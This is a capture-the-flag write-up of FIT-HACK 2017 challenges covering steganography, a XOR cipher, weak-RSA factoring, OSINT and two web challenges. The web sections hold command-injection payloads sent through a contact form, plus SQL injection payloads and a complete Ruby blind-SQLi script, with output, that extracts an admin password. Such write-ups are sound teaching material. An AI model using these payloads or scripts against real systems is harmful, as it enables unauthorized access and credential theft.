Version
By
Version
Comment
noraj
1.0
Creation
CTF
250 - Color - Misc
Check the color information.
Image.zip
So it's a PNG:
1 2 $ file image.png image.png: PNG image data, 300 x 300, 8-bit colormap, non-interlaced
Our PNG has a color palette:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ pnginfo image.png image.png... Image Width: 300 Image Length: 300 Bitdepth (Bits/Sample): 8 Channels (Samples/Pixel): 1 Pixel depth (Pixel Depth): 8 Colour Type (Photometric Interpretation): PALETTED COLOUR (0 colours, 0 transparent) Image filter: Single row per byte filter Interlacing: No interlacing Compression Scheme: Deflate method 8, 32k window Resolution: 0, 1342587364 (Unknown value for unit stored) FillOrder: msb-to-lsb Byte Order: Network (Big Endian) Number of text strings: 0 of 0
The PNG seems valid:
1 2 3 4 $ pngcheck image.png zlib warning: different version (expected 1.2.8, using 1.2.11) OK: image.png (300x300, 8-bit palette+trns, non-interlaced, 90.9%).
Let's verify and see the chuncks:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 $ pngchunks image.png Chunk: Data Length 13 (max 2147483647), Type 1380206665 [IHDR] Critical, public, PNG 1.2 compliant, unsafe to copy IHDR Width: 300 IHDR Height: 300 IHDR Bitdepth: 8 IHDR Colortype: 3 IHDR Compression: 0 IHDR Filter: 0 IHDR Interlace: 0 IHDR Compression algorithm is Deflate IHDR Filter method is type zero (None, Sub, Up, Average, Paeth) IHDR Interlacing is disabled Chunk CRC: 1319337543 Chunk: Data Length 8 (max 2147483647), Type 1280598881 [acTL] Ancillary, private, PNG 1.2 compliant, unsafe to copy ... Unknown chunk type Chunk CRC: -1821571854 Chunk: Data Length 57 (max 2147483647), Type 1163152464 [PLTE] Critical, public, PNG 1.2 compliant, unsafe to copy ... Unknown chunk type Chunk CRC: 1193133337 Chunk: Data Length 1 (max 2147483647), Type 1397641844 [tRNS] Ancillary, public, PNG 1.2 compliant, unsafe to copy ... Unknown chunk type Chunk CRC: 1088870502 [...]
The PLTE
(palette) chunck seems corrupted (critical). That's maybe why we got PALETTED COLOUR (0 colours, 0 transparent)
.
A tool can reveal us that our image is an APNG (Animated PNG like GIF) that was created by APNG Assembler 2.9:
1 2 3 4 5 6 7 8 9 10 11 12 13 Type: Portable network graphics Mode: ColorMap Checking Meta Data Size : 300x300 Bit Depth : 8 Color Type : Color and Palette Compression Used : Deflate Filter Method : Adaptive Filtering Interlace Method : No Interlace Palettes : 19 Software : APNG Assembler 2.9
Let's split the chuncks:
1 2 3 4 5 6 7 8 9 10 11 12 13 $ pngsplit image.png pngsplit, version 0.60 BETA of 11 February 2007, by Greg Roelofs. This software is licensed under the GNU General Public License. There is NO warranty. image.png: $ ls image.png image.png.0004.tRNS image.png.0009.fcTL image.png.0014.fdAT image.png.0019.fcTL image.png.0024.fdAT image.png.0029.fcTL image.png.0034.fdAT image.png.0039.fcTL image.png.0000.sig image.png.0005.fcTL image.png.0010.fdAT image.png.0015.fcTL image.png.0020.fdAT image.png.0025.fcTL image.png.0030.fdAT image.png.0035.fcTL image.png.0040.fdAT image.png.0001.IHDR image.png.0006.IDAT image.png.0011.fcTL image.png.0016.fdAT image.png.0021.fcTL image.png.0026.fdAT image.png.0031.fcTL image.png.0036.fdAT image.png.0041.tEXt image.png.0002.acTL image.png.0007.fcTL image.png.0012.fdAT image.png.0017.fcTL image.png.0022.fdAT image.png.0027.fcTL image.png.0032.fdAT image.png.0037.fcTL image.png.0042.IEND image.png.0003.PLTE image.png.0008.fdAT image.png.0013.fcTL image.png.0018.fdAT image.png.0023.fcTL image.png.0028.fdAT image.png.0033.fcTL image.png.0038.fdAT
Now let's see our strange PLTE
chunck:
1 2 3 4 5 6 7 8 9 10 $ xxd image.png.0003.PLTE 00000000: 0000 0039 504c 5445 1212 1246 4954 4772 ...9PLTE...FITGr 00000010: 615f 4e33 5f50 3062 6c33 6335 5f64 3372 a_N3_P0bl3c5_d3r 00000020: 6675 6c69 355f 696d 6170 6869 726b 5f72 fuli5_imaphirk_r 00000030: 7461 7433 6474 7730 7730 6e7b 416e 7d00 tat3dtw0w0n{An}. 00000040: 0047 1dc5 19 .G... $ strings image.png.0003.PLTE 9PLTE FITGra_N3_P0bl3c5_d3rfuli5_imaphirk_rtat3dtw0w0n{An}
The string looks like the flag but mixed up.
We can get quite the same conclusion with just a strings on the image:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ strings image.png IHDR acTL 9PLTE FITGra_N3_P0bl3c5_d3rfuli5_imaphirk_rtat3dtw0w0n{An} tRNS fcTL IDATx [...] fcTL fdAT tEXtSoftware APNG Assembler 2.9&[ IEND
I read a lot of stuff about steganography methods that sort palette in a different order to hide a text in the image but didn't find how to do it in practice. And our strings (that looks like the flag) is some plain text, it's not hidden in the image. Maybe the palette was the key or something to re-order the flag.
But I just did it by hand and guessed that FITGra_N3_P0bl3c5_d3rfuli5_imaphirk_rtat3dtw0w0n{An}
have FIT{}
+ only 4 uppercase letters APNG
. What a coincidence! And we have all the (1337) letters to make Animated Portable Network Graphics
. With the letters left I can finnaly write: FIT{Animat3d_P0rtabl3_N3tw0rk_Graphic5_i5_w0nd3rful}
.
Note : That's was not the normal way to solve it but guessable flag are too bad!
100 - Simple cipher - Crypto
I got an encrypted message and a file I used for encryption.
However I do not know what to do, so I want you to solve it instead.
enc_text.txt = 0c157e2b7f7b515e075b391f143200080a00050316322b272e0d525017562e73183e3a0d564f6718
And encryption.py looks like:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 mes = "*****secret*****" key = "J2msBeG8" if len (mes) % len (key) != 0 : n = len (key) - len (mes) % len (key) for i in range (n): mes += " " m = [] for a in range (len (key)): i = a for b in range (len (mes)/len (key)): m.append(ord (mes[i]) ^ ord (key[a])) i += len (key) enc_mes = "" for j in range (len (m)): enc_mes += "%02x" % m[j] print enc_mes
It's a non linear xoring.
Example: message length is 16, key length is 8 (so 2 key loops).
Normal xoring gives: m[0] ^ k[0], m[1] ^ k[1], m[2] ^ k[2], m[3] ^ k[3], m[4] ^ k[4], m[5] ^ k[5], m[6] ^ k[6], m[7] ^ k[7], m[8] ^ k[0], m[9] ^ k[1], m[10] ^ k[2], m[11] ^ k[3], m[12] ^ k[4], m[13] ^ k[5], m[14] ^ k[6], m[15] ^ k[7]
The modified xoring gives: m[0] ^ k[0], m[8] ^ k[0], m[1] ^ k[1], m[9] ^ k[1], m[2] ^ k[2], m[10] ^ k[2], m[3] ^ k[3], m[11] ^ k[3], m[4] ^ k[4], m[12] ^ k[4], m[5] ^ k[5], m[13] ^ k[5], m[6] ^ k[6], m[14] ^ k[6], m[7] ^ k[7], m[15] ^ k[7]
In our case: message length is 40, key length is 8 (so 5 key loops).
So I wrote the python lines that does exactly the reverse process, we can test with the default message:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 key = "J2msBeG8" mes = "*****secret*****" if len (mes) % len (key) != 0 : n = len (key) - len (mes) % len (key) for i in range (n): mes += " " m = [] for a in range (len (key)): i = a for b in range (len (mes)/len (key)): m.append(ord (mes[i]) ^ ord (key[a])) i += len (key) enc_mes = "" for j in range (len (m)): enc_mes += "%02x" % m[j] print enc_mesenc_mes_splited = [enc_mes[i:i + 2 ] for i in range (0 , len (enc_mes), 2 )] for j in range (len (enc_mes_splited)): enc_mes_splited[j] = int (enc_mes_splited[j], 16 ) m = enc_mes_splited mes = "" for b in range (len (enc_mes_splited)/len (key)): for a in range (len (key)): mes += str (chr ((m[len (enc_mes_splited)/len (key)*a+b]) ^ ord (key[a]))) print mes
And we find the original message:
1 2 3 $ python2 encryption.py 60381857471959596868164f226d5b12 *****secret*****
So now let's replace enc_mess
with the challenge value and we find FIT{Thi5_cryp74n4lysi5_wa5_very_5impl3}
.
100 - It's_solvable - Crypto
Easy?
File
We have multiple public keys, and some encoded texts:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 $ ls */ 39BCC1930B969051426F5864F24B478CEAFBA7D8/: mfit publicfit.pem 59E859397B1AB522AAF698D9D42D5F064FD11381/: mfit publicfit.pem 5A6DF720540C20D95D530D3FD6885511223D5D20/: mfit publicfit.pem 8090FD368C8382FD4B216C5BAA04C99769DFCC49/: mfit publicfit.pem A1047EAB1035D58682A53557E0B2A75EDBFD15FD/: mfit publicfit.pem C5E31D5915661DE4393E3F1489B00EBC4497DD48/: mfit publicfit.pem C9CF2EF3AD15705851D02C005B381171AF921BD7/: fit fitkey.pem
The RSA keys seems very weak (about 150 bit), the modulus is very small:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 $ openssl rsa -pubin -inform PEM -text -noout < 39BCC1930B969051426F5864F24B478CEAFBA7D8/publicfit.pem Public-Key: (153 bit) Modulus: 01:87:ff:1f:e5:90:c8:97:83:44:d6:16:72:0c:c1: 20:a0:ea:71:67 Exponent: 65537 (0x10001) $ openssl rsa -pubin -inform PEM -text -noout < 59E859397B1AB522AAF698D9D42D5F064FD11381/publicfit.pem Public-Key: (148 bit) Modulus: 0c:12:08:7a:f4:11:24:16:7e:5b:f1:32:5c:04:75: ab:d4:17:0f Exponent: 65537 (0x10001) $ openssl rsa -pubin -inform PEM -text -noout < 5A6DF720540C20D95D530D3FD6885511223D5D20/publicfit.pem Public-Key: (150 bit) Modulus: 39:c2:a4:61:db:f6:94:84:a2:30:13:80:b3:98:32: 6d:ee:51:d1 Exponent: 65537 (0x10001) $ openssl rsa -pubin -inform PEM -text -noout < 8090FD368C8382FD4B216C5BAA04C99769DFCC49/publicfit.pem Public-Key: (151 bit) Modulus: 5d:5e:9f:10:7f:b1:38:59:d2:4c:85:77:3e:a4:ff: 8b:ef:8e:99 Exponent: 65537 (0x10001) $ openssl rsa -pubin -inform PEM -text -noout < A1047EAB1035D58682A53557E0B2A75EDBFD15FD/publicfit.pem Public-Key: (149 bit) Modulus: 1a:ac:d3:c9:0d:1a:bd:fd:dd:de:18:35:f5:8a:88: f0:36:8b:9f Exponent: 65537 (0x10001) $ openssl rsa -pubin -inform PEM -text -noout < C5E31D5915661DE4393E3F1489B00EBC4497DD48/publicfit.pem Public-Key: (154 bit) Modulus: 03:8a:f3:1e:59:8e:24:2b:5f:cf:1b:30:6f:df:f0: e2:d6:6e:f2:39 Exponent: 65537 (0x10001) $ openssl rsa -pubin -inform PEM -text -noout < C9CF2EF3AD15705851D02C005B381171AF921BD7/fitkey.pem Public-Key: (151 bit) Modulus: 65:7a:90:84:26:10:1a:fa:25:51:cf:ca:26:e3:9a: f5:64:53:27 Exponent: 65537 (0x10001)
Another way to show the modulus:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $ openssl rsa -in 39BCC1930B969051426F5864F24B478CEAFBA7D8/publicfit.pem -pubin -modulus -noout Modulus=187FF1FE590C8978344D616720CC120A0EA7167 $ openssl rsa -in 59E859397B1AB522AAF698D9D42D5F064FD11381/publicfit.pem -pubin -modulus -noout Modulus=C12087AF41124167E5BF1325C0475ABD4170F $ openssl rsa -in 5A6DF720540C20D95D530D3FD6885511223D5D20/publicfit.pem -pubin -modulus -noout Modulus=39C2A461DBF69484A2301380B398326DEE51D1 $ openssl rsa -in 8090FD368C8382FD4B216C5BAA04C99769DFCC49/publicfit.pem -pubin -modulus -noout Modulus=5D5E9F107FB13859D24C85773EA4FF8BEF8E99 $ openssl rsa -in A1047EAB1035D58682A53557E0B2A75EDBFD15FD/publicfit.pem -pubin -modulus -noout Modulus=1AACD3C90D1ABDFDDDDE1835F58A88F0368B9F $ openssl rsa -in C5E31D5915661DE4393E3F1489B00EBC4497DD48/publicfit.pem -pubin -modulus -noout Modulus=38AF31E598E242B5FCF1B306FDFF0E2D66EF239 $ openssl rsa -in C9CF2EF3AD15705851D02C005B381171AF921BD7/fitkey.pem -pubin -modulus -noout Modulus=657A908426101AFA2551CFCA26E39AF5645327
We may be able to factorize it .
I made a ruby script that get the public keys, extract the modulus, get the prime factorization from factordb, and then create the private keys from p and q:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 require 'openssl' require 'net/http' key1 = OpenSSL::PKey::RSA .new File .read '39BCC1930B969051426F5864F24B478CEAFBA7D8/publicfit.pem' key2 = OpenSSL::PKey::RSA .new File .read '59E859397B1AB522AAF698D9D42D5F064FD11381/publicfit.pem' key3 = OpenSSL::PKey::RSA .new File .read '5A6DF720540C20D95D530D3FD6885511223D5D20/publicfit.pem' key4 = OpenSSL::PKey::RSA .new File .read '8090FD368C8382FD4B216C5BAA04C99769DFCC49/publicfit.pem' key5 = OpenSSL::PKey::RSA .new File .read 'A1047EAB1035D58682A53557E0B2A75EDBFD15FD/publicfit.pem' key6 = OpenSSL::PKey::RSA .new File .read 'C5E31D5915661DE4393E3F1489B00EBC4497DD48/publicfit.pem' key7 = OpenSSL::PKey::RSA .new File .read 'C9CF2EF3AD15705851D02C005B381171AF921BD7/fitkey.pem' keys = [key1, key2, key3, key4, key5, key6, key7] def ask (key ) uri = URI ('http://factordb.com/index.php' ) params = { :query => key.n.to_s } uri.query = URI .encode_www_form(params) http = Net::HTTP .new(uri.host, uri.port) res = http.get(uri) return res.body end def get_pq (key ) n_, p_, q_ = ask(key).match(/<font color="#002099">([0-9]*)<\/font><\/a><sub><.*><\/sub> = <a href=".*"><font color="#000000">([0-9]*)<\/font><\/a><sub><.*><\/sub> · <a href=".*"><font color="#000000">([0-9]*)<\/font>/ ).captures puts "n: #{n_} " puts "p: #{p_} " puts "q: #{q_} " return p_, q_ end def write_key_pem (p_,q_,i=0 ) `python2 /home/noraj/CTF/tools/rsatool/rsatool.py -f PEM -o /home/noraj/CTF/FIT-HACK/2017/files/key#{i} .pem -p #{p_} -q #{q_} ` end keys.each_with_index do |k, i | puts "key#{i+1 } :" p_, q_ = get_pq(k) write_key_pem(p_,q_,i+1 ) end
Here is the output of my script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 key1: n: 8741815859436417328701496607875318191936401767 p: 62327402947945346311733 q: 140256379152159036259499 key2: n: 269179849221158109026551637984026302390474511 p: 14414794469577771744263 q: 18673859678627990887097 key3: n: 1288098196172411883559600628392142705366290897 p: 35304226904821143403853 q: 36485665006773148185749 key4: n: 2082211985167937929231221000305276937818836633 p: 35841260054322958986347 q: 58095390117758818595339 key5: n: 594874755164348689388321012976760936405044127 p: 15907423136267341555433 q: 37396047748808130517319 key6: n: 20225653762860501316298024024116880883063910969 p: 138769550589434889129983 q: 145749940653049615039943 key7: n: 2263052140251833682660205913396239536442594087 p: 32133336765473179918313 q: 70426926303011627974799
Now let's decipher flag's fragments:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $ openssl rsautl -decrypt -in mfit -out plaintext -inkey key1.pem; cat plaintext vc7tJ $ openssl rsautl -decrypt -in mfit -out plaintext -inkey key2.pem; cat plaintext ohvwv $ openssl rsautl -decrypt -in mfit -out plaintext -inkey key3.pem; cat plaintext FIT{ $ openssl rsautl -decrypt -in mfit -out plaintext -inkey key4.pem; cat plaintext Zyapo $ openssl rsautl -decrypt -in mfit -out plaintext -inkey key5.pem; cat plaintext __dOSA $ openssl rsautl -decrypt -in mfit -out plaintext -inkey key6.pem; cat plaintext Ai85Z $ openssl rsautl -decrypt -in fit -out plaintext -inkey key7.pem; cat plaintext J1RuW}
Now I need to re-order flag's fragments.
But look! Foldername looks like a hash:
1 2 3 4 5 6 7 8 9 10 11 $ hashid 39BCC1930B969051426F5864F24B478CEAFBA7D8 Analyzing '39BCC1930B969051426F5864F24B478CEAFBA7D8' [+] SHA-1 [+] Double SHA-1 [+] RIPEMD-160 [+] Haval-160 [+] Tiger-160 [+] HAS-160 [+] LinkedIn [+] Skein-256(160) [+] Skein-512(160)
So its probably SHA1.
Now I used hashkiller to break them:
1 2 3 4 5 6 7 39bcc1930b969051426f5864f24b478ceafba7d8 SHA1 : v6 59e859397b1ab522aaf698d9d42d5f064fd11381 SHA1 : v5 5a6df720540c20d95d530d3fd6885511223d5d20 SHA1 : v1 8090fd368c8382fd4b216c5baa04c99769dfcc49 SHA1 : v4 a1047eab1035d58682a53557e0b2a75edbfd15fd SHA1 : v2 c5e31d5915661de4393e3f1489b00ebc4497dd48 SHA1 : v3 c9cf2ef3ad15705851d02c005b381171af921bd7 SHA1 : v7
So in order:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $ cat 5A6DF720540C20D95D530D3FD6885511223D5D20/plaintext FIT{ $ cat A1047EAB1035D58682A53557E0B2A75EDBFD15FD/plaintext __dOSA $ cat C5E31D5915661DE4393E3F1489B00EBC4497DD48/plaintext Ai85Z $ cat 8090FD368C8382FD4B216C5BAA04C99769DFCC49/plaintext Zyapo $ cat 59E859397B1AB522AAF698D9D42D5F064FD11381/plaintext ohvwv $ cat 39BCC1930B969051426F5864F24B478CEAFBA7D8/plaintext vc7tJ $ cat C9CF2EF3AD15705851D02C005B381171AF921BD7/plaintext J1RuW}
So our flag is: FIT{__dOSAAi85ZZyapoohvwvvc7tJJ1RuW}
.
But it is incorrect!! What a troll!
Warning big guessing!!! Remove all double letters to get: FIT{__dOSAi85Zyapohvwvc7tJ1RuW}
.
150 - Sorry - Web
Flag is right there.
https://sorry.problem.ctf.nw.fit.ac.jp/
There is a command shell injection the contact form: https://sorry.problem.ctf.nw.fit.ac.jp/form.html
For example sendingg the following payload ls -lA;#
resultats into:
1 2 3 4 5 6 7 8 9 10 11 12 total 28 -r-x---r-x 1 root root 0 Apr 11 00:04 damy.txt -r-x---r-x 1 root root 40 Apr 11 00:04 eng.txt -r-x---r-x 1 root root 462 Apr 11 00:04 form.html -r-x---r-x 1 root root 250 Apr 11 00:04 from.css -r-x---r-x 1 root root 0 Apr 11 00:04 in.css -r-x---r-x 1 root root 181 Apr 11 00:04 in.php -r-x---r-x 1 root root 0 Apr 11 00:04 in.pjp -r-x---r-x 1 root root 170 Apr 11 00:04 index.css -r-x---r-x 1 root root 811 Apr 11 00:04 index.php -r-x---r-x 1 root root 58 Apr 11 00:04 jpn.txt -r-x---r-x 1 root root 58 Apr 11 00:04 jpn.txtls -lA;#:mail@example.com <br>Saved it thank you!!
I'm just curious, cat index.php;#
gives:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $name_i = $_GET ['name' ];$ka = ".txt" ;$text_file = $name_i .$ka ;$name_j = file_get_contents ($text_file );;echo $name_j ;?> <!DOCTYPE html> <html lang="en" > [...]
And cat in.php;#
gives:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php $com = $_POST ['etc' ];$mail = ':mail@example.com' ;$mc = $com .$mail ;function jug ($mc ) { echo system ($mc ); echo $mc .' ' .'<br>' .'Saved it thank you!!' ; } jug ($mc );?> cat in.php;
Now let's find the flag:
ls -lA /tmp/;#
:
1 2 3 4 5 6 7 8 9 total 8 drwxrwxrwt 2 root root 4096 Apr 9 20:31 .ICE-unix -rwxr-xr-x 1 root root 23 Apr 11 00:04 .flag -rw-r--r-- 1 apache apache 0 Apr 12 07:07 a.php -rw-r--r-- 1 apache apache 0 Apr 12 07:06 a.php* -rw-r--r-- 1 apache apache 0 Apr 12 03:21 bee-shell.php -rw-r--r-- 1 apache apache 0 Apr 12 01:52 lol2.txt -rw-r--r-- 1 apache apache 0 Apr 12 06:06 shell.php -rw-r--r-- 1 apache apache 0 Apr 12 06:06 shell.phpls -lA /tmp/;#:mail@example.com <br>Saved it thank you!!
cat /tmp/.flag
gives us FIT{fdsa__dasdas_32fa}
.
Another method is grep -r 'FIT{' /*#
:
1 2 3 4 /dev/shm/lol.txt:FIT{fdsa__dasdas_32fa} /dev/shm/lol.txt:FIT{fdsa__dasdas_32fa} Binary file /proc/17860/task/17860/cmdline matches Binary file /proc/17860/task/17860/cmdline matchesgrep -r 'FIT{' /*;#:mail@example.com <br>Saved it thank you!!
50 - Be a stalker - Recon
Twitter account: https://twitter.com/FitHack_CTF
Profile picture:
Flag is FIT{DrPepper}
.
100 - Specific - Recon
This picture was taken from the top of the bridge.
Please specify the name of the bridge in lowercase letters of Roman letters.
Flag format is FIT{[answer]}
photo.zip
I checked exif metadata and there were GPS location:
1 2 3 4 5 6 7 8 9 $ exiftool photo.jpg | grep -i gps GPS Latitude Ref : North GPS Longitude Ref : East GPS Time Stamp : 00:50:28 GPS Date Stamp : 2017:02:19 GPS Date/Time : 2017:02:19 00:50:28Z GPS Latitude : 31 deg 49' 25.90" N GPS Longitude : 130 deg 18' 52.86" E GPS Position : 31 deg 49' 25.90" N, 130 deg 18' 52.86" E
So I looked at findlatitudeandlongitude.com the GPS position.
The approximate address is: 36-17 HigashiÅshÅjichÅ, Satsumasendai-shi, Kagoshima-ken 895-0075, Japan from the brigde the picture is taken from.
The bridge is over Sendai River .
I looked at the bridge on different websites, but othing on Google Maps, Bing Map, Yandex Map, OpenStreetMap, HERE, MapQuest, mapy.cz , Wikimapia, GeoHack.
After on geohack I saw there was specialized maps for certain country, so I tried japan only map services: Mapion, MapFan Web, Yahoo! Japan, Goo, Its-mo Guide.
There was the name but in Japan (Kanji) charaters.
During this time, I found the name tentai-bashi bridge on an random website so I tried FIT{tentai-bashi}
, FIT{tentai_bashi}
and FIT{tentai}
and then gave up, thinking that was not the good flag (no spoil now, it was lucky this was a random not famous site).
So I came back to one of the japan specialized map mapfan and others.
I took screenshot of the 3 charaters:
Then I zoomed and tried hand written recognition: http://kanji.sljfaq.org/
That didn't work at all, there a lot of same character that look nearly the same.
Then I thought about OCR.
I tried http://www.i2ocr.com/free-online-japanese-ocr tha tworked badly and gave me only of the 3 chars: 倩
and æ©
. I found the third with hand written recognition å
.
Google translate to english:
倩å
æ© -> Heaven Bridge (Tenroku-bashi)
Now we need Roman representation of Kanji, not english translation:
So I tried http://nihongo.j-talk.com/ that gave me:
Kanji => RÅmaji
倩å
-> Ten roku
倩å
æ© -> Ten roku kyÅ
Kanji -> Roumaji
倩å
æ© -> Ten roku kyou
But nothing was the flag.
The 2nd char doesn't looks exactly the same, in fact the good one is 倧
not å
.
Thanks to http://maggie.ocrgrid.org/nhocr/ I found the good one.
So we have now 倩倧æ©
in Kanji.
Google translate gave me:
å€©å€§æ© -> Heaven Bridge (Tentaibashi)
FIT{tentaibashi}
is the good flag. I was soooooo near I tried FIT{tentai-bashi}
.
I tried again (with the good 2nd char this time) http://nihongo.j-talk.com/:
Kanji -> RÅmaji
Kanji -> Roumaji
But the roman translation was not the one I was looking for.
Meanwhile, CTF orga released twohint:
Hint 1: Google street view
Hint 2: Google translate from picture
Early I tried to find the name of the bridge on Google Street View but didn't found it.
150 - Let's login - Web
I created a page with a login function, but it seems to be vulnerable.
https://login.problem.ctf.nw.fit.ac.jp
Here is the login page: https://login.problem.ctf.nw.fit.ac.jp/login.php
Using these credentials:
pseudo: ' or 1=1 -- -
password: a
Gave me the following message:
1 2 3 Password is a flag Table name: user Column name: name, pass
Thanks for the help.
Now let's try a different payload ' or 1=1#
, That give me a blank page.
So I think this is a blind SQLi where we have the hint message when the request is true and a blank page when false (or auth failure).
Lets write a blind SQL injection script in ruby.
So we want a payload like this ' or 1=1 UNION select name,pass from user-- -
.
To get the content we will need some SQLite features (because yes it's an SQLite database):
length(str)
= to retrieve strings length
substr( string, start_position, [ length ] )
and sub-queries to retrieve strings content
1 2 ' or length((select name from user limit 1)) < 1-- - ' or length((select pass from user limit 1)) < 1-- -
Here is my ruby script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 require 'net/https' uri = URI ('https://login.problem.ctf.nw.fit.ac.jp/login.php' ) req = Net::HTTP::Post .new(uri.path) http = Net::HTTP .new(uri.host, uri.port) http.use_ssl = true http.verify_mode = Open SSL::SSL : :VERIFY_NONE <<-DOC Check is the payload expression is true or false. DOC def check_expression (uri, http, req, payload ) req.set_form_data('name' => payload, 'pass' => 'vuln' ) res = http.request(req) return /Password is a flag/.match?(res.body) end <<-DOC Get the length of the string. There is two level of increment: 10 by 10 (to be faster) and then 1 by 1 (to get the exact size). DOC def get_length (uri, http, req, payload ) i = 10 while true if check_expression(uri, http, req, payload % i) (i-10 ..i).each do |j | if check_expression(uri, http, req, payload % j) return j-1 end end end i += 10 end end <<-DOC DOC def read_string (uri, http, req, length, wanted ) content = "" ascii_printable = (" " .."~" ).to_a.push("\n" ) puts "Beginning to retrive content" while content.length < length ascii_printable.each do |c | tmp = content + c payload = "' or substr((SELECT #{wanted} FROM user LIMIT 1), #{tmp.length} , 1) == \"#{tmp[tmp.length-1 ]} \"-- -" if check_expression(uri, http, req, payload) content += c puts content break elsif c == "\n" content += "*" end end end return content end payload = "' or length((SELECT name FROM user LIMIT 1)) < %i-- -" name_length = get_length(uri, http, req, payload) puts "Name length: #{name_length} " payload = "' or length((SELECT pass FROM user LIMIT 1)) < %i-- -" password_length = get_length(uri, http, req, payload) puts "Password length: #{password_length} " name = read_string(uri, http, req, name_length, 'name' ) puts 'Name: ' .concat(name) password = read_string(uri, http, req, password_length, 'pass' ) puts 'Password: ' .concat(password)
And here is the result:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 $ ruby auth.rb Name length: 5 Password length: 21 Beginning to retrive content a ad adm admi admin Name: admin Beginning to retrive content F FI FIT FIT{ FIT{9 FIT{9n FIT{9n8 FIT{9n89 FIT{9n89_ FIT{9n89_y FIT{9n89_y0 FIT{9n89_y0u FIT{9n89_y0u3 FIT{9n89_y0u3u FIT{9n89_y0u3u_ FIT{9n89_y0u3u_9 FIT{9n89_y0u3u_9a FIT{9n89_y0u3u_9a8 FIT{9n89_y0u3u_9a81 FIT{9n89_y0u3u_9a811 FIT{9n89_y0u3u_9a811} Password: FIT{9n89_y0u3u_9a811}